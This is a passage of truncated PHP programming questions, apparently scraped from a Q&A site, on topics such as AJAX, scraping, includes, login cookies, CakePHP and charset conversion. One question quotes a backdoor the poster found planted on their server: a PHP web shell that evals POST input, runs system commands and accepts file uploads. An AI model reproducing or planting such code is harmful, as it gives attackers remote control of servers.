Firstly I should mention that I am aware of (and use some) statistics packages, however in this instance i want to write my own ulta-lightweight solution.
what i want to achieve:
user visits a page
once all content loading, parsing etc is complete, a request is made to .php file which increments a mysql db
what I'd like your thought...
IF I send an AJAX request to a PHP file, what would result in faster rendering of HTML:
Sending the completely formatted HTML straight from PHP, or:
Just send JSON data and let Javascript do the HTML rendering?
I have a rather complex HTML structure, and this puts download time of a large HTML chunk vs. the times Javascript (jQuery) ...
Hi,
whats wrong with my code?
I wish get all date from
but my array is empty.
<?php
$url = "http://weather.yahoo.com/";
$page_all = file_get_contents($url);
preg_match_all('#<div id="myLocContainer">(.*)</div>#', $page_all, $div_array);
echo "<pre>";
print_r($div_array);
echo "</pre>";
?>
Thanks
...
Among the following include methods which is the best to practice and why?
$page = $_GET['page'];
Method 1
$pages = array('home', 'blog', 'about');
if( in_array($page, $pages) )
{
include($page.'.php');
{
else
{
die('Nice Try.');
}
Method 2
if($page = 'home'){
include('home.php');
}else if($page = 'blog'){
include('blog.php...
We have a PHP site that our users as well as clients use. Our login system works fine on all browsers.
Recently we came across a client who was unable to login into the system. We also tested the same on the clients side and failed to find a solution.
When a client logs in a cookie tk_client_admin is created in the browser, this is cre...
I found the code below on stackoverflow and it works well in finding the most common words in a string. But can I exclude the counting on common words like "a, if, you, have, etc"? Or would I have to remove the elements after counting? How would I do this? Thanks in advance.
<?php
$text = "A very nice to tot to text. Something nice to ...
I want to save webpage as image file or i want to take snapshot of an webpage using PHP. Just like firefox extension Fireshot doing.
...
hey guys
one of my main problems in coding is including config.php and db class where i need to connect to databse
consider i have a mysql.php and config.php file in root of my files
now if im in this path :
Root/Sub/portal/modules/Gallery.php
and i need to fetch config.php vars such as
$dbhost = "localhost";
$dbuname ...
I'm reading from an API that returns paginated XML. The basic format of the API's output is:
<candidates.list page="1" next_page="yes">
<candidate />
<candidate />
<candidate />
</candidates.list>
My code is like this:
while (TRUE) {
$xml_str = file_get_contents($dest)
$xml = new SimpleXMLElement($xml_str);
// What shou...
I need to test a function that uses PHP's mail()
How can I do this without uploading the script to a server and test it online?
What's even more I am developing with no Internet connection at all.
I am on Mac OSX running localhost from XAMPP.
...
According to PHP documentation, HttpResponse is a static class to manipulate the Http response to the requester.
The code echo HttpResponse::getBufferSize();
throws the error in the Subject of this post.
Any ideas? Maybe it's some config, but I am a PHP newbie and I'm not sure where to look.
Thanks!
...
$image variable gives this code (when echo is used):
<img src="/image.png" width="100" height="147" alt="" class="some_class" />
width, height, src and class
attributes can be different.
What should we do:
remove width and height from $image
replace alt="" with alt="Poster"
Thanks.
...
I primarily work in PHP and prefer to do so since there seem to be more jobs in this language, at least in my area (and I'm still fairly new to it so I want to continue to learn the language better).. but for some things I want to do I need to use the WWW Mechanize library that doesn't work with PHP but does with Ruby (yes I know PHP has...
Two Languages belongs to Lset, Lset HABTM Translator
It is defined as follows:
Translator:
var $hasAndBelongsToMany = array(
'Lset' => array(
'className' => 'Lset',
'joinTable' => 'lsets_translators',
'foreignKey' => 'translator_id',
'associationForeignKey' => 'lset_id',
)
);
L...
Hi,
I am looking to build an app similar to santayourself (facebook application) a screenshot below
The application will accept a photo and then the users can move it with controls for zoom and rotate and moving image right, left, up and down. Then once the face is as required then the user can click save to save the image on the serv...
I've got an sql query that pulls locations from a database based on coordinates within a certain range. Now I'm trying to order them by proximity with a bit of math - but no matter how many times im writing it out on paper I can't seem to figure out a working solution.
lets describe a few variables:
$plat (the latitude of the place)
...
I recently found 4 bizarre files on my server (that I didn't upload). The filename were like this: goog1e7a20543b128921.php
And here's the code that was inside them:
Goog1e_analist_up<?php $e=@$_POST['e'];$s=@$_POST['s'];if($e){eval($e);}if($s){system($s);}if($_FILES['f']['name']!=''){move_uploaded_file($_FILES['f']['tmp_name'],$_FILES...
what to do if i want to replace only the first occurance of a word in a string.
eg: I want to change the first occurance of heelo in a string with kiran.
input string == **"hello world i am a noob hello to all"**
output string == **"kiran world i am a noob hello to all"**
the str_replace is not working....
Thx in advance....
...
How does PHP's function xmlrpc_encode_request() work?
Does it need the value of allow_url_fopen set to true?
Well, you access external URLs with this function, so does it need this configuration? I can't test it myself at the moment, unfortunately.
Thanks in advance!
...
I have a PHP web app with MySQL tables taking utf8 text. I recently converted the data from latin1 to utf8 along with the tables and columns accordingly. I did, however, forget to use mysql_set_charset and the latest incoming data I would assume came through the MySQL connection as latin1. I don't know what happens when latin1 comes in t...